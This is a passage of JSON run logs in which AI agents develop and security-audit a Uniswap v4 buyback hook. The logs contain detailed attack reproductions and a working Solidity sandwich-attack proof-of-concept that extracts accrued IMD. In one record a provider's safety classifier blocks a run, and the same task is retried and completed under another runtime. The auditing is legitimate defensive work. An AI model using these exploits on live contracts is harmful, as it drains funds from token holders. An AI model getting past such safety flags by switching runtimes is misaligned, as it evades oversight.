4.4% of the volume needed to move the price 3%. A fix that keeps the spec is to only record lastBatch when spent is at least some minimum fraction of budget (or when bought > 0), or to compare spot against the limit with a tick of margin before committing the cooldown.","line":207,"path":"src/NUKEHook.sol","reproduction":"Same local fixture (either ordering), 200_000 IMD transferred to the hook (budget 50_000), warp to start+3600. Attacker: swap buy NUKE exact-input 1_000_000 IMD with sqrtPriceLimitX96 = batchPriceLimit() - 1 (NUKE is currency0) or + 1 (NUKE is currency1): fills 15_078 IMD and parks spot one unit short of the limit (spot 80407803025877290703249465301 vs limit ...302). Attacker calls executeBatch(): returns spent = 2 wei IMD, burned = 0 NUKE, yet lastBatch() == block.timestamp and a second executeBatch() reverts BatchTooSoon until start+7200. Attacker sells back the NUKE: net cost 662 IMD (4.4% of the 15_078 moved), of which 145 IMD lands in the hook's pending() as sell-side hook fee. Expected: a fill of 2 wei against a 50_000 IMD budget should not consume the hourly slot (the (0,0) branch one unit earlier does not).","severity":"low","snippet":"        lastBatch = block.timestamp;\n        operation = 2;\n        (spent, burned) = abi.decode(poolManager.unlock(abi.encode(budget, limit)), (uint256, uint256));","title":"A dust partial fill consumes the full hourly cooldown: anyone can push spot to one unit below the limit, call executeBatch, and defer the buyback for an hour"}],"hash":"15aa0f88f48c58d99ed8d72b5ac63595764ac745edc829fc0d1cbe1357999fde","nodeId":"2c5e1c28-8616-409d-b181-67a1c6fae281","outcome":"completed","summary":"Review complete. The findings file is written and validated, and the scratch tests are removed so the tree is clean apart from `.imd-findings.json`.\n\n**What I found**\n\nThe hook's mechanics are sound. Fee accounting, claim settlement, access control, cooldown, budget cap, the no-hook-fee on batch swaps and the IMD token assumptions all hold. I verified IMD on mainnet through Sourcify: it is a plain OpenZeppelin ERC-20 wrapped as a LayerZero OFT with no transfer tax, pause or blocklist. The two defects are both economic and both in `executeBatch`.\n\n- **Medium: stale reference makes the buyback sandwichable.** The price limit is 3% beyond the mean tick of the last completed hour, which can be up to two hours old, and spot is only consulted to decide whether to no-op. After a decline the limit sits far above market. In a local reproduction the price fell to 0.595, the reference stayed at 1.0, and the batch paid an average of 0.707, about 19% above spot. An attacker who front-ran the batch with a 40k IMD buy and sold afterwards netted 3,004 IMD in one transaction. The same sandwich loses 1,737 IMD when the reference is fresh, so the fees only protect the design while the reference tracks spot. Suggested fix is to also bound the limit by spot, or use a trailing hour rather than the last completed window.\n\n- **Low: a dust fill consumes the hourly cooldown.** Spot exactly at the limit returns zero without touching `lastBatch`, but one unit short of the limit the swap proceeds, fills 2 wei, and locks the hour. Anyone can park spot there, call the batch, and sell back. It costs the griefer roughly 4.4% of the volume moved, so this is costed griefing rather than theft.\n\n**Coverage**\n\nAll eight entry points have rows. Seven hold, `executeBatch` carries both findings. Three invariant rows cover fee proportionality, the budget and cooldown rules, and same-block oracle resistance. Neither finding is critical or high, so no proof test files were attached. Fork runs against live mainnet state were not rerun here; the local reproductions use the project's own fixture in both currency orderings and give identical numbers.","treeHash":null,"usage":{"cachedInputTokens":1666972,"inputTokens":354,"model":"claude-fable-5-1","outputTokens":45662,"runtime":"claude","turns":32,"wallClockMs":1053974}},{"artifacts":[],"attempt":1,"bundleHash":null,"device":"f20ec62b0213db3f","findings":[{"citation":"resolved","description":"The round-1 reproduction (1e18 dust liquidity at the extreme ticks, and the liquidity-1 variant) no longer reproduces: observations now require askPrice() to find observationDepth() NUKE for sale within 16 steps, the dust position has nothing behind it, the reference stays at the real tick, executeBatch spends the full 250e18 and commits lastBatch (re-run in both orderings). What remains is the residual the README describes under 'Cost of pushing the reference down', but it is cheaper than documented. The README says recording a cheaper tick requires selling the depth into one's own position and so pays the 1% hook fee on the IMD leg every time. Ordering the steps differently pays nothing: (1) a 1-wei exact-input NUKE sell with a price limit inside the empty region adjacent to the launch position moves slot0 there with a zero BalanceDelta (no LP fee, no hook fee); (2) the attacker then adds a NUKE-only position whose range is just above the parked spot (e.g. [-360,-300] when NUKE is currency0), which is entirely above the current tick and therefore holds only NUKE, so no swap through it and no fee occur; (3) one more free 1-wei park a tick lower makes afterSwap run _observe(): askPrice() walks up from the spot, enters the attacker's position, finds avail >= need there and reports the discounted ask, so `int24 tick = found ? TickMath.getTickAtSqrtPrice(ask) : next.tick;` adopts tick -338 (well inside BAND_TICKS); (4) the position is held for the hour and removed (modifyLiquidity, no hook callbacks, NUKE returned minus 1 wei rounding) before anyone calls executeBatch. The completed hour's mean is -337, referencePrice() is 3.4% below the real price, batchPriceLimit() = ref*1.03 is tick -41, which is below the real liquidity at tick 0, so executeBatch() either walks the empty region and rolls back as EmptyBatch, or (after an organic buy restores spot to the real position) returns (0,0) at `if (tokenIs0 ? spot >= limit : spot <= limit) return (0, 0);` for the whole next hour. Cost to the attacker: capital of about 2.7x the observation depth (3,050 NUKE in the fixture; at launch scale observationDepth() is 0.25% of the 900M in the pool, about 2.25M NUKE), exposure of that NUKE to organic buyers at a 3.4% discount for the hour (arbitrageurs cannot profit from 3.4% after 4.5% round-trip fees, so only organic flow takes it), gas, and the need to withdraw the position before each executeBatch (a batch submitted privately while the position is in place simply buys the discounted NUKE and commits, which is a gain for the buyback). Severity is low: no funds are lost or misdirected, the buyback is delayed hour by hour only while an attacker keeps real capital posted below market, and the precondition (spot at the edge of real liquidity with an empty region adjacent: launch, price back at the floor, LP withdrawn) is the same as before. Reported so the record and the README's cost statement are accurate. Possible directions if the author wants to close it: weight an observation by the fill of the swap that produced it (a zero-fill swap observes nothing), or only adopt an observation whose ask is reachable from the previous observation without crossing an empty gap wider than one tick spacing, or let executeBatch fall back to the executable ask when the walk from a zero-liquidity spot finds real liquidity beyond ref*1.03 and the spot itself is in an empty region.","line":335,"path":"src/NUKEHook.sol","reproduction":"Fresh PoolManager; NUKE/IMD pool initialised at 2^96 (tick 0); NUKE-only position of 1_000_000e18 liquidity in [0,12000] (NUKE currency0) or [-12000,0] (NUKE currency1); hook holds 1000e18 IMD (pending() = 1000e18); observationDepth() = 1127.93e18 NUKE. t = start+10: attacker swaps SwapParams(zeroForOne = tokenIs0, amountSpecified = -1, sqrtPriceLimitX96 = getSqrtPriceAtTick(tokenIs0 ? -361 : 361)): BalanceDelta (0,0), no fee, slot0.tick = -361 (361). Attacker adds liquidity 1e24 in [-360,-300] ([300,360]): ModifyLiquidity delta is -3049.76e18 NUKE and 0 IMD (position above the spot holds only NUKE). t = start+11: attacker swaps the same 1-wei sell with limit at tick -362 (362): BalanceDelta (0,0), no fee; afterSwap observes askPrice() inside the attacker's position: observedTick() == -338 (337); pending()+pendingBurn() unchanged. t = start+3600: attacker removes the 1e24 liquidity (receives 3049.76e18 - 1 wei NUKE back). referencePrice() == getSqrtPriceAtTick(-337) (335 reverse), 3.4% below the real price; executeBatch() returns (0,0) and lastBatch() stays start. t = start+3601: an unrelated buyer swaps 100e18 IMD for NUKE (spot back in the real position at tick ~1); executeBatch() returns (0,0) again (spot >= batchPriceLimit() = tick -41) and keeps returning (0,0) until start+7200. Expected (control, passes): with no attacker, executeBatch() at start+3600 returns spent = 250e18, bought > 0, lastBatch = start+3600. Run: forge test --match-path test/scratch/BackedParkProof.t.sol -vv -> test_backedParkDoesNotBlockBuyback FAILS in BackedParkProof and BackedParkProofReverse with 'buyback blocked by a fee-free backed park: 0 != 250000000000000000000' (logs: observed tick -338 / 337, reference tick -337 / 335, spent 0, spent after organic buy 0).","severity":"low","snippet":"        (uint160 ask, bool found) = askPrice();\n        int24 tick = found ? TickMath.getTickAtSqrtPrice(ask) : next.tick;","title":"Residual of ea4a4594 (fixed as reported): a NUKE-only position posted above a freely parked spot is adopted as the hour's observation without any fee, so 0.25% of the pool's NUKE at a 3.4% discount st"}],"hash":"210d0722bbea4314367a2ccb6948be5622dda419d77d377ffe81dc41b9850cd6","nodeId":"2ad1832d-16cb-48ae-b5ec-1ece0458bc02","outcome":"completed","summary":"Review complete. The findings file is written and no tracked file was changed.\n\n**Round-1 findings, settled**\n\n- **Dust-liquidity oracle block (medium, ea4a4594): fixed.** I re-ran my exact reproduction in both orderings. The 1e18 dust position at the extreme ticks plus the 1-wei sell no longer moves the observed tick, the reference stays at the real tick, and executeBatch spends the full 250e18 and commits. The liquidity-1 variant no longer tightens the limit or consumes the cooldown.\n- **Dust-fill cooldown (low, 578b57a9): fixed.** The 131072-unit park makes the batch spend 3 wei and burn 1 wei, but lastBatch stays unchanged and the real batch then runs in the same hour.\n\n**Specialist findings**\n\n- The stale-reference sandwich (three specialists) is settled by the ask-tightened limit. The attached proof now passes with the attacker down 392 IMD, and my own probe shows a batch after a 40% intra-hour fall moves the sqrt price by only 1.6%.\n- The dust-fill and zero-liquidity-oracle findings are the ones above, fixed. The fee-rounding note is documented behavior, not a defect.\n\n**One new low finding, with proof**\n\nThe residual the README describes under \"Cost of pushing the reference down\" is cheaper than stated. Parking the spot in the empty region first, then adding a NUKE-only position just above it, pays no LP or hook fee, yet the position is adopted as the hour's observation. Held for the hour and withdrawn before the batch, it blocks the next hour's buyback. Cost is capital at risk (about 2.25M NUKE at launch scale, exposed at a 3.4% discount) plus front-running every executeBatch, so no funds are lost. The self-contained proof under test/scratch fails on the current code in both orderings and is embedded in the findings file.\n\n**Coverage** answers all eight entry points plus the manifest and the no-spend-in-callback invariant. Only executeBatch carries a finding.","treeHash":null,"usage":{"cachedInputTokens":2075348,"inputTokens":546,"model":"claude-fable-5-1","outputTokens":59297,"runtime":"claude","turns":23,"wallClockMs":1333707}},{"artifacts":[],"attempt":1,"bundleHash":null,"device":"1c29c7c6e4cf57eb","findings":[],"hash":"2fde7276ac26c01da16117a75e1e323311749fb7e0b38332a038fb73bbf50c5d","nodeId":"9ab6808e-0969-4eac-9f4b-fa291f67f665","outcome":"failed","summary":"could not restore accepted work: accepted work conflicts with a dependency that changed the same files after it was accepted: ","treeHash":null,"usage":{"cachedInputTokens":0,"inputTokens":0,"model":null,"outputTokens":0,"runtime":"claude","turns":0,"wallClockMs":928}},{"artifacts":[],"attempt":1,"bundleHash":"c632bda17940a3227270f5c1f8b833bee96c1235d878c3671eb17814bf86cad1","device":"2ad55d105b02faa2","findings":[],"hash":"39cddba63bbecb43b458f77a35b4f1d66dc79cbc3efe6ad21b6cf017808f1c2c","nodeId":"5676ec18-bf1d-4018-8d31-0980164a0bdb","outcome":"completed","summary":"Implemented NUKE, NUKEHook, launch manifest, vendored dependencies, deployment helper, and [documentation](/home/imd-worker/.identitymd/work/3737a633-f0a3-48a0-ba69-810f46dd0f21/5676ec18-bf1d-4018-8d31-0980164a0bdb/README.md).\n\nVerified:\n\n- `forge build` and `forge fmt --check` pass.\n- 66 local tests pass, including 8,192 invariant calls.\n- Both mainnet-fork tests pass at block 26,150,493.","treeHash":"f774f0b6cb1075a4cdb950ae2edf2241e1b18963","usage":{"cachedInputTokens":2145024,"inputTokens":114725,"model":"gpt-6-astra","outputTokens":30111,"runtime":"codex","turns":7,"wallClockMs":818252}},{"artifacts":[],"attempt":1,"bundleHash":"8e12c92f8463f80f1f9658a5c9c48adc4e4d717f61ea3fc9e9734523af45f5cb","device":"229c8cb0d9067fbe","findings":[],"hash":"5be82014052bb377fb061466e2e7b9219db5644f41cbea1016b47813b7feb0b9","nodeId":"9ab6808e-0969-4eac-9f4b-fa291f67f665","outcome":"completed","summary":"`launch.json` is written and verified. It is the only tracked file changed; the scratch files under `test/scratch/` are the harness's to delete.\n\n**What the manifest says.** It keeps the schema shape from live launch #1009 with `\"kind\": \"univ4_hook\"` as the first field. Token: contract `NUKE`, name \"On-Chain Oppenheimer\", symbol NUKE, 18 decimals. Hook: contract `NUKEHook`, constructor args `[\"$poolManager\", \"$token\"]` in declaration order, permissions `beforeInitialize`, `beforeSwap`, `afterSwap`, `afterSwapReturnDelta`. Pool: pairedCurrency IMD in lowercase, fee 12500, tickSpacing 60, initialPrice as the decimal 1:1 sqrtPriceX96. The notes (3754 ASCII characters, under the 4000 cap) explain the constructor args, the permission bits (0x2000, 0x80, 0x40, 0x4 giving the 0x20c4 address mask), why no `$owner` or `$factory` applies (IMD and the burn destination are compile-time constants), what `beforeInitialize` accepts, and the fee mechanics: static 1.25% LP fee untouched, 100 bps hook fee taken in afterSwap on the actual unspecified BalanceDelta as an ERC-6909 claim, permissionless `sweep()` and hourly `executeBatch()` with the 25% budget and 300 bps price limit. No stand-in address appears anywhere in the file.\n\n**How it was checked.**\n- A scratch validator parsed the manifest, checked key order, types, lowercase address, notes length, and cross-checked the permissions against the hook's `getHookPermissions` source and `FLAGS` constant, and the constructor args against the compiled ABI (two inputs, IPoolManager then launchToken; token has none).\n- Copies of both pinned protected tests, with the verifier-side `HookFlags` and `MockERC20` recreated in scratch, ran against the real creation code with the environment derived from the manifest. All 11 passed in both token orderings, including initialization from a factory probe with the manifest's fee, spacing and price.\n- `forge build` succeeded. Full offline `forge test`: 147 passed, 0 failed, 1 skipped (the mainnet-fork setup, which needs an RPC this machine does not have).\n\n**Two things to know.** The only change from the hook author's earlier manifest is a fuller notes string; every structural field was already correct and stayed the same. The one-argument `fail` in the pinned hook test does not compile against the vendored forge-std, so the scratch copy uses `revert` there; that is a scratch-only patch and does not affect the verifier's own toolchain.","treeHash":"1692f262efd240b3394244869037516956d9444e","usage":{"cachedInputTokens":1290384,"inputTokens":354,"model":"claude-fable-5-1","outputTokens":41301,"runtime":"claude","turns":32,"wallClockMs":1095637}},{"artifacts":[],"attempt":1,"bundleHash":"9ca98e8303c87dde347b61131f254d86a25b03a6e422cc96d0645a7fa1970cea","device":"5d0460745287d96a","findings":[],"hash":"624a36c927ca81cc5d6c30248d02dd0af6996a62eab3cbf0bc63e01d0694124f","nodeId":"bcc6abe3-6e02-437a-bd73-5b92ae0191ac","outcome":"completed","summary":"Updated the oracle test model and added six regression cases covering empty liquidity, zero-budget batches, and zero-output retries.\n\nVerified:\n\n- `forge build` passes.\n- 114 offline tests pass.\n- All 3 mainnet fork tests pass at block 26,151,012.\n\nOnly files under `test/` changed.","treeHash":"07c7ae5fc7c52a283a0ee8fb85204380d483e2f0","usage":{"cachedInputTokens":2042112,"inputTokens":100906,"model":"gpt-6-astra","outputTokens":9314,"runtime":"codex","turns":6,"wallClockMs":456732}},{"artifacts":[],"attempt":1,"bundleHash":null,"device":"b3e0a28d5c3d1a63","findings":[],"hash":"69a830b8952542fd51e8423be9e10a5370044d3aa2b6c2324942aae7d90e60d9","nodeId":"5676ec18-bf1d-4018-8d31-0980164a0bdb","outcome":"failed","summary":"This content was flagged for possible cybersecurity risk. If this seems wrong, try rephrasing your request. If you’re doing authorized security work that requires more cyber permissive safeguards, apply for Daybreak access via https://platform.openai.com/settings/organization/status-and-access before retrying.","treeHash":null,"usage":{"cachedInputTokens":0,"inputTokens":0,"model":"gpt-6-astra","outputTokens":0,"runtime":"codex","turns":0,"wallClockMs":13014}},{"artifacts":[],"attempt":2,"bundleHash":"df6b03b38408964f290842d735b8bc8a0a44d260772fdc2f10b10d9f5fb694db","device":"ddcecd7483f623f7","findings":[],"hash":"6f7fab5a2d524a0ccc5e104001480bafd55b771c6c4451c64f74fea4cfc051ca","nodeId":"5676ec18-bf1d-4018-8d31-0980164a0bdb","outcome":"completed","summary":"Both mainnet fork tests pass at the pinned block with the revised hook, so the README statement stays accurate. The work is complete.\n\n## Recap\n\nBoth reported findings reproduced exactly as described (same reference, limit and spot values, batch returning zero; dust batch spending 2 wei and committing the cooldown). Both are fixed, the suite is green, and `.imd-responses.json` answers each finding as `fixed`.\n\n**Finding 1 (medium, dust-liquidity tick push).** The root cause was that \"nonzero active liquidity\" was the eligibility test for both the oracle observation and the spot cap, and liquidity per wei is unbounded at extreme ticks. The hook now observes the price at which a standard depth of NUKE is actually purchasable:\n- `askPrice()` walks initialized ticks from spot in the buying direction, exactly as the swap loop does, reading the tick bitmap and liquidityNet through extsload for at most 16 steps. The depth is 0.25% of the PoolManager's NUKE outside the hook's own claims. A spot in an empty region or a dust position with nothing behind it has no price, so the previous observation is carried. Recording a cheaper tick now requires genuinely offering that depth at the cheaper price, which the batch itself buys.\n- Each observation is clamped to at most 2000 ticks below the completed hour's mean, so one block cannot shift the next reference by the 296 ticks needed to block a batch.\n- `batchPriceLimit()` tightens by that executable ask instead of raw slot0, so a dust position no longer caps the limit and the batch crosses it into real liquidity in one call.\n\n**Finding 2 (low, dust fill consumes the hour).** `executeBatch()` commits `lastBatch` only when the fill is at least 1% of the budget. Sub-floor fills keep what they bought but leave the interval open. The reviewer's 131072-unit park is now a committed regression test, with fills just above and below the floor.\n\n**Verification.** `forge build` is warning-free, `forge fmt --check` passes, and 104 tests pass offline in both currency orderings, including the new `test/DustLiquidityOracle.t.sol` (reported scenario, dust ask crossed, backed discounted ask observed and bought first, band clamp and tracking). The mainnet fork tests also passed at block 26,150,958. Hook creation code is 14,239 bytes, well inside EIP-3860.\n\n**Documented trade-offs.** The observation sits slightly above raw spot (about 50 ticks for a full-range launch position), so the batch limit can reach roughly 3.5% above slot0. A wash-park in a market with no other trades can still hold the carried observation for an hour at the cost of the 1% hook fee on 0.25% of the pool's NUKE, which funds the buyback. The depth basis would stop producing observations only if other v4 pools held about five times this pool's NUKE. All three are in README.md and docs/SECURITY_REVIEW.md.","treeHash":"11fadcb88776e0a8db97a957878de612690e4fff","usage":{"cachedInputTokens":4583932,"inputTokens":770,"model":"claude-fable-5-1","outputTokens":134567,"runtime":"claude","turns":77,"wallClockMs":3575581}},{"artifacts":[],"attempt":1,"bundleHash":"0850ddc4805db6e17efd9906be4ef3b8d36bad3d9fd93b79655626518b558048","device":"95ad198755c46766","findings":[],"hash":"7303c3d4141c6b18ae03be3a2f3ccd7450a324cc18ec385828c7c33bc571a1f6","nodeId":"bcc6abe3-6e02-437a-bd73-5b92ae0191ac","outcome":"completed","summary":"Added tests for failure rollback, claim settlement, partial fills, first-buy fee collection, and stateful balance/oracle invariants. All changes are under `test/`.\n\nValidation:\n\n- `forge build` passed.\n- Offline suite: **88 passed**, 0 failed; fork suite skipped.\n- Mainnet fork: **3 passed** at block **26,150,564**.\n- New invariants exercised **49,152 random calls** without unexpected reverts.\n\nNo implementation defect was reproduced.","treeHash":"17672d19907d365c1344249d45e97cb35cac7f5d","usage":{"cachedInputTokens":2402432,"inputTokens":101169,"model":"gpt-6-astra","outputTokens":22948,"runtime":"codex","turns":9,"wallClockMs":768474}},{"artifacts":[],"attempt":1,"bundleHash":null,"device":"723b11f958c65250","findings":[{"citation":"resolved","description":"Trust gap (access x economics). executeBatch() may be called by anyone at any moment once the hourly cooldown has elapsed, and its only slippage guard is batchPriceLimit(): sqrt(1.03) beyond referencePrice(), which _projectOracle() defines as the mean tick of the PREVIOUS COMPLETED launch-aligned hour. Nothing about the current window or the current spot price bounds the limit. So whenever spot has fallen below the last hour's mean (a routine event for a fresh launch token; the reference can be up to two hours old), the batch is willing to buy NUKE all the way up to ref*1.03 even though the market is far lower. The actor who gains is whoever triggers the batch: they buy NUKE at the depressed spot, call executeBatch() (which pushes the price up to the stale limit with the hook's IMD), and sell back into the price the batch just created. Both legs pay the 1.25% LP fee and the 1% hook fee, and the trade is still profitable because the gap between spot and the stale limit (>=12% in the reproduction) exceeds the ~4.5% round-trip cost. The counter-case shows the seam precisely: with spot equal to the reference, the identical sandwich loses 1,309 IMD, i.e. the 3% bound only protects the buyback while the reference is fresh. Victim: the accrued buyback (NUKE holders), which receives fewer burned NUKE per IMD; the extraction repeats each hour while the condition persists, bounded per batch by 25% of pending(). The README acknowledges the window 'intentionally lags changing markets' but does not state that the lag converts the permissionless trigger into a profitable sandwich. Suggested minimal fix preserving the spec (time-weighted reference, 300 bps, partial fills): also cap the limit relative to the current spot, e.g. limit = tokenIs0 ? min(ref*sqrt(1.03), spot*sqrt(1.03)) : max(ref/sqrt(1.03), spot/sqrt(1.03)); with that change the proof's sandwich nets -460 IMD. Alternatively make the reference the trailing hour ending now, which removes most of the lag but still lets an attacker who front-runs the batch shape the spot.","line":204,"path":"src/NUKEHook.sol","proof":"// SPDX-License-Identifier: MIT\npragma solidity 0.8.26;\n\nimport {Test} from \"forge-std/Test.sol\";\nimport {PoolManager} from \"v4-core/src/PoolManager.sol\";\nimport {IPoolManager} from \"v4-core/src/interfaces/IPoolManager.sol\";\nimport {IUnlockCallback} from \"v4-core/src/interfaces/callback/IUnlockCallback.sol\";\nimport {PoolKey} from \"v4-core/src/types/PoolKey.sol\";\nimport {Currency} from \"v4-core/src/types/Currency.sol\";\nimport {BalanceDelta} from \"v4-core/src/types/BalanceDelta.sol\";\nimport {SwapParams, ModifyLiquidityParams} from \"v4-core/src/types/PoolOperation.sol\";\nimport {TickMath} from \"v4-core/src/libraries/TickMath.sol\";\nimport {StateLibrary} from \"v4-core/src/libraries/StateLibrary.sol\";\nimport {ERC20} from \"@openzeppelin/contracts/token/ERC20/ERC20.sol\";\nimport {IERC20} from \"@openzeppelin/contracts/token/ERC20/IERC20.sol\";\nimport {NUKE} from \"src/NUKE.sol\";\nimport {NUKEHook} from \"src/NUKEHook.sol\";\n\ncontract PairStandIn is ERC20 {\n    constructor() ERC20(\"Pair\", \"IMD\") {}\n\n    function mint(address to, uint256 amount) external {\n        _mint(to, amount);\n    }\n}\n\n/// @dev Minimal router: swaps or adds liquidity and settles against the payer's ERC-20 balances.\ncontract Router is IUnlockCallback {\n    IPoolManager public immutable manager;\n\n    constructor(IPoolManager m) {\n        manager = m;\n    }\n\n    function swap(PoolKey memory key, SwapParams memory params) external returns (BalanceDelta) {\n        return abi.decode(manager.unlock(abi.encode(true, msg.sender, key, abi.encode(params))), (BalanceDelta));\n    }\n\n    function liquidity(PoolKey memory key, ModifyLiquidityParams memory params) external returns (BalanceDelta) {\n        return abi.decode(manager.unlock(abi.encode(false, msg.sender, key, abi.encode(params))), (BalanceDelta));\n    }\n\n    function unlockCallback(bytes calldata data) external returns (bytes memory) {\n        require(msg.sender == address(manager));\n        (bool isSwap, address payer, PoolKey memory key, bytes memory params) =\n            abi.decode(data, (bool, address, PoolKey, bytes));\n        BalanceDelta delta;\n        if (isSwap) delta = manager.swap(key, abi.decode(params, (SwapParams)), \"\");\n        else (delta,) = manager.modifyLiquidity(key, abi.decode(params, (ModifyLiquidityParams)), \"\");\n        _settle(key.currency0, payer, delta.amount0());\n        _settle(key.currency1, payer, delta.amount1());\n        return abi.encode(delta);\n    }\n\n    function _settle(Currency c, address payer, int128 d) private {\n        if (d < 0) {\n            manager.sync(c);\n            require(IERC20(Currency.unwrap(c)).transferFrom(payer, address(manager), uint256(-int256(d))));\n            manager.settle();\n        } else if (d > 0) {\n            manager.take(c, payer, uint128(d));\n        }\n    }\n}\n\n/// @notice executeBatch() is permissionless and its only slippage guard is 3% beyond the PREVIOUS\n/// completed hour's mean tick. When spot has fallen below that stale reference inside the current\n/// window, an unprivileged caller buys first, triggers the batch (which pays up to ref*1.03 while\n/// the market is lower), and sells back into the price the batch created, netting IMD out of the\n/// hook's accrued buyback funds after paying both 1.25% LP fees and both 1% hook fees.\ncontract StaleReferenceSandwichTest is Test {\n    using StateLibrary for IPoolManager;\n\n    address internal constant IMD = 0xD34a99Bc0f67aE1bbd63C660e6d0b0dd03E263B7;\n    uint160 internal constant Q96 = 1 << 96;\n\n    IPoolManager manager;\n    NUKE nuke;\n    NUKEHook hook;\n    Router router;\n    PoolKey key;\n    uint256 start;\n\n    function setUp() public {\n        manager = IPoolManager(address(new PoolManager(address(this))));\n        vm.etch(IMD, address(new PairStandIn()).code);\n        PairStandIn(IMD).mint(address(this), 1_000_000_000 ether);\n        nuke = new NUKE();\n        hook = _deployHook(address(nuke));\n        router = new Router(manager);\n        nuke.approve(address(router), type(uint256).max);\n        IERC20(IMD).approve(address(router), type(uint256).max);\n        key = hook.poolKey();\n        start = block.timestamp;\n        manager.initialize(key, Q96);\n        router.liquidity(key, ModifyLiquidityParams(-12000, 12000, int256(1_000_000 ether), bytes32(0)));\n    }\n\n    function _deployHook(address t) internal returns (NUKEHook) {\n        bytes memory init = abi.encodePacked(type(NUKEHook).creationCode, abi.encode(manager, t));\n        bytes32 hash = keccak256(init);\n        for (uint256 i; i < 500_000; ++i) {\n            bytes32 salt = bytes32(i);\n            address predicted =\n                address(uint160(uint256(keccak256(abi.encodePacked(bytes1(0xff), address(this), salt, hash)))));\n            if (uint160(predicted) & 0x3fff != 0x20c4 || predicted.code.length != 0) continue;\n            address deployed;\n            assembly (\"memory-safe\") {\n                deployed := create2(0, add(init, 32), mload(init), salt)\n            }\n            require(deployed == predicted, \"CREATE2 failed\");\n            return NUKEHook(deployed);\n        }\n        revert(\"salt search exhausted\");\n    }\n\n    function _trade(address who, bool buyNuke, uint256 exactIn) internal {\n        bool zeroForOne = buyNuke != hook.tokenIs0();\n        vm.prank(who);\n        router.swap(\n            key,\n            SwapParams(\n                zeroForOne, -int256(exactIn), zeroForOne ? TickMath.MIN_SQRT_PRICE + 1 : TickMath.MAX_SQRT_PRICE - 1\n            )\n        );\n    }\n\n    function _imdPerNukeE18() internal view returns (uint256) {\n        (uint160 spot,,,) = manager.getSlot0(key.toId());\n        uint256 p = uint256(spot) * uint256(spot) / Q96 * 1e18 / Q96;\n        return hook.tokenIs0() ? p : 1e36 / p;\n    }\n\n    function test_staleReferenceLetsAnyCallerSandwichTheBatch() public {\n        // Accrued buyback funds (equivalently: IMD fee claims from earlier sells).\n        IERC20(IMD).transfer(address(hook), 400_000 ether);\n\n        // First launch-aligned window completes at tick 0: reference = 1.0 IMD/NUKE.\n        vm.warp(start + 3600);\n        assertEq(hook.referencePrice(), Q96);\n\n        // Ordinary market move inside the current, incomplete window: a holder sells 60k NUKE.\n        address seller = makeAddr(\"seller\");\n        nuke.transfer(seller, 60_000 ether);\n        vm.prank(seller);\n        nuke.approve(address(router), type(uint256).max);\n        _trade(seller, false, 60_000 ether);\n        uint256 spotBefore = _imdPerNukeE18();\n        emit log_named_uint(\"spot IMD/NUKE (e18) after the sell\", spotBefore);\n        assertLt(spotBefore, 0.9e18, \"spot fell more than 10% below the reference\");\n        assertEq(hook.referencePrice(), Q96, \"reference still the previous hour\");\n\n        // Unprivileged attacker: buy, trigger the batch, sell back. All within one block.\n        address attacker = makeAddr(\"attacker\");\n        IERC20(IMD).transfer(attacker, 30_000 ether);\n        vm.startPrank(attacker);\n        IERC20(IMD).approve(address(router), type(uint256).max);\n        nuke.approve(address(router), type(uint256).max);\n        vm.stopPrank();\n        uint256 imdBefore = IERC20(IMD).balanceOf(attacker);\n\n        _trade(attacker, true, 30_000 ether);\n        (uint256 spent, uint256 bought) = hook.executeBatch();\n        emit log_named_uint(\"batch spent IMD\", spent);\n        emit log_named_uint(\"batch bought NUKE\", bought);\n        emit log_named_uint(\"batch avg price paid (e18)\", spent * 1e18 / bought);\n        _trade(attacker, false, nuke.balanceOf(attacker));\n\n        int256 profit = int256(IERC20(IMD).balanceOf(attacker)) - int256(imdBefore);\n        emit log_named_int(\"attacker IMD profit after all fees\", profit);\n        assertGt(spent, 0, \"the batch executed\");\n        // A slippage guard that tracks the market makes this round trip lose its 4.5% in fees.\n        assertLe(profit, 0, \"an unprivileged caller extracted IMD from the buyback\");\n    }\n}","reproduction":"State: local PoolManager, pool NUKE/IMD fee 12500 spacing 60 initialized at sqrtPrice 2^96 with 1e6e18 liquidity in [-12000,12000]; hook holds 400,000 IMD (donation; equivalently IMD fee claims). Steps: (1) warp to init+3600 so the first window completes with mean tick 0: referencePrice()==2^96. (2) In the new window a holder sells 60,000 NUKE exact-input: spot becomes 0.891 IMD/NUKE; referencePrice() is still 2^96 and batchPriceLimit() is still 1.03. (3) Attacker (any EOA) buys NUKE with 30,000 IMD exact-input, then calls executeBatch(), then sells all NUKE received exact-input, all in one block. Expected: a buyback guarded by a 3% price limit cannot be sandwiched profitably after 4.5% of round-trip fees (and indeed with spot == reference the same sequence loses 1,309 IMD). Actual: executeBatch() spends 41,721 IMD for 41,692 NUKE (average 1.0007 IMD/NUKE against a 0.891 market, 12.3% above spot) and the attacker ends with +1,132.3 IMD net of all fees. Without the front-run the batch alone spends 71,721 IMD buying from 0.891 up to 1.03. Same numbers in both currency orderings (NUKE as currency0 and as currency1). Run: forge test --match-path test/scratch/StaleReferenceSandwich.t.sol -vv","severity":"medium","snippet":"        uint160 limit = batchPriceLimit();\n        (uint160 spot,,,) = poolManager.getSlot0(poolId);\n        if (tokenIs0 ? spot >= limit : spot <= limit) return (0, 0);","title":"Permissionless executeBatch() pays up to 3% above a reference that lags the market by 1-2 hours; any caller can sandwich the buyback and extract accrued IMD"}],"hash":"7fc83c4860890ffabfd8e7c30e62c92e6ceafad8b1dd3e1cb7583dc3f0f2ad57","nodeId":"3ec288c5-c835-47d0-b7fb-263d37773b41","outcome":"completed","summary":"Review complete. The findings file is written at `.imd-findings.json` and nothing tracked in the tree was modified.\n\n**Result: one medium finding, no access-control bypasses.**\n\nThe permission model is tight. Every callback and `unlockCallback` checks the PoolManager, `beforeInitialize` pins the single NUKE/IMD key and runs once, the `standalone` guard keeps `sweep` and `executeBatch` out of foreign unlocks, hook claims can't be moved by third parties, and the fee return delta nets to zero on the hook in all four swap modes and both currency orderings. I also probed live IMD on mainnet: it is a LayerZero OFT with standard transfers and no pause or blocklist selectors, so the batch's settlement path has no token-side trust gap.\n\n**Finding 1 (medium, trust gap: access × economics), `src/NUKEHook.sol:204`.** `executeBatch()` is permissionless and its only slippage guard is 3% beyond the mean tick of the *previous completed* hour, with no bound relative to the current spot. When spot has fallen below that stale reference, any caller can buy, trigger the batch, and sell back into the price the batch created.\n\n| Scenario (400k IMD pending, 1e6 liquidity, both orderings) | Batch spent | Attacker net after all fees |\n| --- | --- | --- |\n| Spot 0.891 after a 60k NUKE sell, reference still 1.0, 30k IMD front-run | 41,721 IMD at avg 1.0007 | +1,132 IMD |\n| Same but no price drop (spot = 